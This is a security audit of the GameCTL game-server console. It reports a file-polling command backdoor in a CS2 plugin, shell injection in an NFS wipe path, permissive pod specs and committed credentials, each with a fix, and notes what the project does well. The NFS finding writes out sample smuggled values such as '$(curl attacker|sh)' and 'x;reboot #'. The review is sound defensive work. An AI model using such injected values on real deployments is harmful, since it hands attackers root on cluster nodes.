Hey, I did a real security and quality pass over GameCTL (the whole stack: the Go backend, the React UI, the CS2 plugins, and the k8s/deploy side). This is the writeup. Short version up top, then the findings with file and line refs and a suggested fix for each, then the stuff you got right.
First thing before anything else: revoke the Steam GSLT that’s committed in the repo (details in the credentials section). Publishing this page basically points a spotlight at it, so kill it now.
Overall
Grade: B+. This is not vibe-coded slop. The structure is clean, there’s a real test suite, go vet is clean, and the auth layer in particular gets the stuff right that people usually botch. The holes that exist are localized and mostly cheap to close, and they cluster in two places: the NFS-wipe path and the CS2 plugins.
How I checked, so you can trust the list: I read the code, then went back and re-verified every single finding against the source with exact line numbers, and I threw out one finding that didn’t hold up (I’d originally flagged the backup restore as tar-traversal vulnerable, then actually tested BusyBox 1.36.1, the exact version that restore pod runs, with a ../ archive and a symlink-escape archive. It strips the ../ and refuses the symlink, so that one is not real and it’s not in this list). Everything below is confirmed against the code.
The serious stuff
1. CS2 SurfHUD has a live command-execution backdoor (Critical)
cs2-plugin/GameCtlSurfHUD/GameCtlSurfHUD.cs, lines 288-311.
There’s a repeating timer registered in Load() that reads /tmp/cs2-cmd.txt every half second and runs every line in it as a server console command, then clears the file. No allowlist, no gate. The comment says it’s safe because only the steam user can write the file, but that’s exactly the problem: it turns any file write anywhere near that container (a shared volume mount, another process in the pod, a path-traversal bug somewhere else, a compromised sidecar) into full control of the game server. Someone drops rcon_password whatever or exec something.cfg into that file and owns the server within half a second, and it silently defeats all the careful “no command injection from chat” work everywhere else in the plugins.
Fix: delete the whole block. If you genuinely want it for local debugging, gate it behind an env flag that’s off by default and only allow a fixed list of commands.
2. The NFS “also delete data” path has command injection into a privileged root pod (High)
server/internal/kube/nfs_ensure.go, lines 441-477 (wipeNFSPath).
The wipe builds a shell script with fmt.Sprintf and runs it in a Privileged: true pod. It guards the target with validateWipeTarget(p), which checks the path’s structure (absolute, normalized, min depth, no ..) but not the shell character set, and the server field isn’t validated at all. The sibling function ensureNFSPath routes the same values through nfsFieldSafe first, so the safe pattern already exists in the same file, the destructive one just skips it.
Those server and path values come straight off a Deployment’s inline NFS volume (operations.go around 204-213), so a value with shell metacharacters in it (something like x;reboot # or /mnt/ssd/$(curl attacker|sh)) lands inside mount -t nfs ... in a privileged pod, which is arbitrary command execution on the node. A path like /mnt/ssd/x$(...) still passes validateWipeTarget because it’s absolute, normalized, and has no .., the check just never looks at the character set. To reach it, someone applies a Deployment with a crafted inline NFS volume (the /kube/apply endpoint takes arbitrary manifests and doesn’t validate inline NFS volumes on the way in) and then deletes it with the wipe-data toggle on. That’s an authenticated action, but the whole point of running with a limited namespaced Role is that even a compromised panel or operator shouldn’t be able to get node root, and this hands it to them.
Fix: call validateNFSEnsureInput(server, p) at the top of wipeNFSPath and bail if it fails, or switch the script to pass the values as env vars the way the backup scripts already do (those are done correctly, worth copying that pattern here).
3. Arbitrary hostPath / privileged pods can be applied, nothing stops them (High)
server/internal/httpapi/apply_handler.go (raw YAML accepted, lines 55-61) and server/internal/kube/normalize.go (lines 56-58 and 142-145).
The /kube/apply endpoint takes arbitrary operator YAML, and normalizeForGamectl passes pod securityContext, privileged, and hostPath straight through into the gamectl namespace with no Pod Security Admission policy to reject them (I checked, the gamectl namespace has zero pod-security labels). So an authenticated user can post a Deployment with hostPath: { path: / } or privileged: true and mount the node’s root filesystem. Some of this is inherent to “a web console that deploys pods,” but combined with #2 it means anyone who reaches the admin API has a clean path to node root, so the README’s “least privilege, only touches what it owns” line oversells it a bit.
Fix: label the gamectl namespace with Pod Security Admission restricted, and reject hostPath, privileged, and host namespaces in normalizeForGamectl before apply. Allowlist only the pod shapes the wizard actually needs, and keep the NFS helper as a narrow, code-generated exception rather than allowing arbitrary user specs.
4. Real-looking credentials committed in a shipped template (Medium, but do it now)
kubeUI/public/yaml/cs2.yaml: line 61 (SRCDS_TOKEN, a 32-hex Steam GSLT) and lines 67 and 89 (RCON password cs23434).
That template ships to every install. If the GSLT is a real token, revoke it now, Valve can ban it and anyone can use it. The weak RCON default is arguably worse since RCON is full server control and the game services are exposed on the LAN by default, so anyone deploying the template unedited is handing that out.
Fix: swap both for obvious placeholders, and have the wizard require an RCON password or generate a random one instead of shipping a default.
Hardening and cleanup
These are lower severity, more “tighten this up” than “on fire.”
5. No rate limiting on the login endpoint
/api/token (registered in routes.go line 42, handler tokenHandler at line 199) has no attempt throttling or lockout. bcrypt cost 12 makes each guess slow, so it’s not an instant brute force, but that same cost means every attempt burns real server CPU, so an unthrottled endpoint also works as a cheap DoS lever. Add a small per-IP and per-user limiter (chi has httprate) on /api/token and the setup endpoint.
6. Move the auth JWT out of localStorage
The bearer token is stored in localStorage (api/client.js lines 10-14, attached by the request interceptor at 16-23). I couldn’t find any XSS sink in the current UI, so this isn’t exploitable today, but localStorage is readable by any JS on the origin, so any future injection or a bad npm dependency can walk off with the token, and it persists across tabs and restarts. Ideally an httpOnly + Secure + SameSite cookie the frontend can’t read. If you stay on bearer tokens, in-memory only (eat a re-login on refresh) still beats localStorage. Either way, enforce HTTPS since the token otherwise crosses the LAN in the clear.
7. Admin-gate the CS2 bot and zombie-mode commands
In GameCtlDmRounds, !bots (CommandBots, line 445), !botdiff (CommandBotDiff, line 427), and !zombiemode (CommandZombieMode, line 1191) only check IsBot/IsValid, not permissions, so any connected player can run them. !zombiemode flips sv_cheats on (line 1226) and rewrites a pile of cvars, and !bots 64 can bury a small server’s tick rate. The RTV and SurfHUD plugins already gate their admin actions with @css/admin (and other commands in this same file check it at lines 395 and 407), so this reads as an oversight, the comment even says “ANY player can set bot difficulty.” Wrap them in a PlayerHasPermissions("@css/admin") check like the sibling commands do.
8. Delete should verify the GameCTL label, not just match by name
In operations.go, the Deployment delete (line 221) and Service deletes (lines 232-234) go by name with no label check, while the PVC delete correctly uses the gamectl label selector (line 251). The namespace and PV guard holds fine (ns is forced to gamectl at line 199 and the Role can’t touch namespaces or PVs), so this isn’t a cluster-wide problem. But within the gamectl namespace nothing checks the target actually carries managed-by=gamectl, so a delete with the wrong name could take out the panel’s own deployment. Get the Deployment first and refuse unless it carries the managed-by=gamectl label (ideally also matching gamectl.io/instance), same for the by-name Service deletes.
9. Remove the dead auth module (src/auth/index.js)
src/auth/index.js isn’t imported anywhere (grep across src/ finds no import of it), and it defines a different token contract than the live code: it reads jwt and token from both localStorage and sessionStorage (lines 1-8), while the actual app in api/client.js only uses token in localStorage. It’ll mislead whoever touches auth next. Delete it, or consolidate all token access into one module.
10. Source RCON only reads one response packet, long output truncates
In games/rcon.go, the command loop writes each command then does a single rconReadPacket and appends the body, but Source RCON splits large responses across multiple RESPONSE_VALUE packets. So commands with long output (status, cvar dumps) get cut off partway. The auth handshake right above it already reads in a loop, so the pattern is half there. Use the standard empty-RESPONSE_VALUE trick: send a second empty command right after the real one and keep reading response packets until you see that sentinel echoed back.
11. Supply chain: pin images by digest and Actions by SHA
Base and runtime images use mutable tags: Dockerfile (node:22-alpine line 2, golang:1.26-alpine line 10, distroless/static:nonroot line 31) and the deploy default ghcr.io/gamectl-hq/gamectl:latest (deploy-gamectl.yaml line 201, with imagePullPolicy: Always). A moved tag lands in a build or a running cluster silently. CI and release workflows pin actions to major tags (actions/checkout@v4, docker/build-push-action@v6) instead of commit SHAs. And release.yml line 41 interpolates ${{ github.event.inputs.tag }} directly into a run: shell, which is a script-injection sink (needs workflow_dispatch write access, so low risk). Credit where due: the installer already pins :latest to a concrete release tag, and the self-update keeps the repo fixed and only swaps the tag, so a bad update response can’t repoint to another registry. Pin base and runtime images by digest, pin Actions by full commit SHA (Dependabot can bump them), pass inputs.tag via env: and reference "$TAG".
What it does well
Genuinely, the fundamentals are strong:
- Auth and crypto. JWT algorithm pinned to HMAC (rejects
alg:noneand key-confusion, which is the single most common JWT hole). Tokens haveexpandiat. JWT secret length is enforced at 32 bytes in two places. bcrypt cost 12. Bootstrap token is 128-bit random and constant-time compared. No default admin login, there’s even a test assertingadmin/adminis rejected. Every non-public route sits behind exactly one auth middleware, nothing skips it. - Destructive-path defense. The NFS wipe has a two-layer guard: structural checks in Go plus a
.gamectl-ownedmarker file verified inside the pod at the point of deletion, plus a min-depth check so it can’t nuke a share root. Delete forces the namespace togamectl, and the namespaced Role genuinely can’t touch other namespaces or PVs, so the classic “trick it into wiping the wrong namespace or PV” attack does not work here. - Backend craft. The backup and restore scripts pass all dynamic values as pod env vars instead of string interpolation, which is the correct injection-safe pattern (that’s exactly why the wipe path’s deviation in #2 stands out). The task store is race-clean with proper mutex discipline. Workshop downloads are correct single-flight. Real input validation where it counts: SteamID64, Steam API keys, hostnames, cron fields, backup archive names.
- Frontend and infra. Zero XSS sinks, all server data renders as escaped JSX. Clean 401/expiry handling. The control-plane pod is near-model: distroless-nonroot,
runAsNonRoot, seccompRuntimeDefault, resource limits, read-only secret mount, no hostPath, no privileged. Thecurl | bashinstaller is more careful than most: 0600 kubeconfig, opt-in MetalLB, reads prompts from/dev/tty. The cluster-scoped RBAC really is read-only discovery.
Bottom line
The bones are good, this is clearly built by someone who knows what they’re doing. Fix #1 and #2 first (those are the two with real teeth), get Pod Security Admission on the namespace for #3, revoke and scrub the credentials in #4, and the rest is hardening you can knock out over a week. Nice work overall.